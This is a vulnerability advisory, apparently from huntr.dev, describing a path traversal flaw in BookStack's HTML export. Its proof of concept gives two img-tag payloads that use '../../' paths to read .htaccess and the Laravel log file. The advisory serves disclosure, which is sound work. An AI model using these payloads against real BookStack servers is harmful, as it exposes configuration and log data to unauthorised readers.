Lucene search

K
huntrHaxatronAC268A17-72B5-446F-A09A-9945EF58607A
HistoryOct 07, 2021 - 2:35 p.m.

Path Traversal in bookstackapp/bookstack

2021-10-0714:35:03
haxatron
www.huntr.dev
16

0.001 Low

EPSS

Percentile

26.9%

Description

A path traversal vulnerability in BookStacks export function allows for the exposure of sensitive files in local or local_secure Laravel filesystems.

Proof of Concept

1: Write the following in a new page:

<p><img src="http://[BOOKSTACK_URL]/uploads/images/../../.htaccess" alt="cat.jpg" /></p>

2: Export in contained HTML to find the .htaccess file base64 encoded

3: If the STORAGE_IMAGE_TYPE in .env is set to local_secure, then it is possible to obtain the Laravel log file via the following payload:

<p><img src="http://10.0.2.15/uploads/images/../../logs/laravel.log" alt="cat.jpg" /></p>

Impact

This vulnerability is capable of exposure of sensitive log/configuration files present in the Laravel filesystems.

0.001 Low

EPSS

Percentile

26.9%

Related for AC268A17-72B5-446F-A09A-9945EF58607A